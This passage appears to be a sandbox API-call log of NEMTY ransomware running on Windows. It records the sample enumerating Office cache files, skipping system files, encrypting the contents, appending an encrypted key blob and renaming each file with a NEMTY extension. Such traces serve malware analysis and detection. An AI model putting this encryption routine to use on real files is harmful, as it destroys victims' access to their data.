0x3423a30 [0048.894] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.894] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0d7a230, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0d7a230, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.895] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.895] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.895] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2=".") returned 1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="..") returned 1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="...") returned 1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="windows") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="$RECYCLE.BIN") returned 1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="rsa") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="NTDETECT.COM") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="ntldr") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="MSDOS.SYS") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="IO.SYS") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="boot.ini") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="boot.ini") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="AUTOEXEC.BAT") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="ntuser.dat") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="desktop.ini") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="CONFIG.SYS") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="RECYCLER") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="BOOTSECT.BAK") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="bootmgr") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="programdata") returned -1 [0048.895] lstrcmpiW (lpString1="AccessMUI.msi", lpString2="appdata") returned -1 [0048.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x653ef60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.msi", cchWideChar=13, lpMultiByteStr=0x653ef98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.msi", lpUsedDefaultChar=0x0) returned 13 [0048.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0048.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0048.896] Sleep (dwMilliseconds=0x5) [0048.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0da0390, dwHighDateTime=0x1d561e7)) [0048.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0da0390, dwHighDateTime=0x1d561e7)) [0048.904] GetLastError () returned 0xb7 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.904] GetLastError () returned 0xb7 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0048.904] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0048.904] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0048.904] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653ec5c | out: pszString="6v8e7AcMorQ94yTf3iV6zbCXfUfxO/M7XvUEtF2ue0G+vDPXVNZSwsvT+PAti2YW\r\nG3Bf+Wl4/qQ8RiXwwoUvt6G9bw8iouqhaOfMJUQXQwz7T1e2vPNpld35kAwzBc+h\r\n+Ox2MICzYmMBawewdUIjv3g6ieZVL71DV9OHH9CPs2n4QGY8pw+p8NE/OR0m7nFE\r\ng/ahChRqT+mECbbJTBnF9WAiH4CzH9SXLu/VVDdO7EKaaFNhHHoGXk9oiZ1qk4vq\r\ngP/tTMo1HgRr2TkLONMDQNo5oZOIftNVdtKBSI0MBU/zPg025IBgXmZer2Z+Scau\r\nJAC90o4IlzKqb9Q/pyohaA==\r\n", pcchString=0x653ec5c) returned 1 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403f0 [0048.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0048.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0048.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0048.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0048.905] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=2517504) returned 1 [0048.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.905] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.905] ReadFile (in: hFile=0x3cc, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653eea4*=0x19000, lpOverlapped=0x0) returned 1 [0048.915] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.915] WriteFile (in: hFile=0x3cc, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653ee9c*=0x19000, lpOverlapped=0x0) returned 1 [0048.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.916] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=2517504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x266a00 [0048.916] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340280*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340280*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0048.917] CloseHandle (hObject=0x3cc) returned 1 [0048.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344160 [0048.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344228 [0048.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63442f0 [0048.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344228 | out: hHeap=0x4f90000) returned 1 [0048.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.983] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi._nemty_kgobjgd_")) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442f0 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344160 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.984] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".") returned 1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="..") returned 1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="...") returned 1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="windows") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="rsa") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="NTDETECT.COM") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="ntldr") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="MSDOS.SYS") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="IO.SYS") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="boot.ini") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="boot.ini") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="AUTOEXEC.BAT") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="ntuser.dat") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="desktop.ini") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="CONFIG.SYS") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="RECYCLER") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="BOOTSECT.BAK") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="bootmgr") returned -1 [0048.984] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="programdata") returned -1 [0048.985] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="appdata") returned -1 [0048.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x653ef10, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x653ef60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AccessMUI.xml", cchWideChar=13, lpMultiByteStr=0x653ef98, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AccessMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0048.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0048.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0048.985] Sleep (dwMilliseconds=0x5) [0048.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0e84bd0, dwHighDateTime=0x1d561e7)) [0048.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd0e84bd0, dwHighDateTime=0x1d561e7)) [0048.997] GetLastError () returned 0x0 [0048.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.997] GetLastError () returned 0x0 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.998] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0048.998] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0048.998] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340280 [0048.998] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340280, pcchString=0x653ec5c | out: pszString="0FSlqHHJPw0Z68mAt7si9Qi55tTn8T6QzqPK1cKASivCYbMQY9c690/RB97NoSFe\r\nzg9uwz0LhGYShHh8MW8jVA7eNdEymus59e1nUjI4C7wVzjX9P9edVeTtWQynuU85\r\ni5PWjVUm2HxQwAzdBuGXLSBSVjEgSrXpV0M05A8Dv94BDfr7+nDrufrFMG/mjFez\r\n2+gvap6DguotDXyUvPhQK/JlsyKCMZx5AtHgs3bc7SkRWn3vAISnmOvXvm1OiEfs\r\nj+SSi6uC7R5a69yQ+JddZlrrGDFhlyPrmAgt7P5oEq08y3HL6hcZ3g87ONsCeBpt\r\nDrpuJKSuk7LHSEV85V2/jQ==\r\n", pcchString=0x653ec5c) returned 1 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403f0 [0048.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0048.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340280 [0048.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6343fe8 [0048.998] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0048.999] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=1349) returned 1 [0048.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x540) returned 0x4f9f4a0 [0048.999] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.999] ReadFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653eea4*=0x540, lpOverlapped=0x0) returned 1 [0049.001] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0049.001] WriteFile (in: hFile=0x3cc, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653ee9c*=0x540, lpOverlapped=0x0) returned 1 [0049.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0049.001] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=1349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x545 [0049.001] WriteFile (in: hFile=0x3cc, lpBuffer=0x6340280*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpBuffer=0x6340280*, lpNumberOfBytesWritten=0x653ee9c*=0x167, lpOverlapped=0x0) returned 1 [0049.001] CloseHandle (hObject=0x3cc) returned 1 [0049.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344160 [0049.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0049.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0049.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0049.002] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0049.002] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) 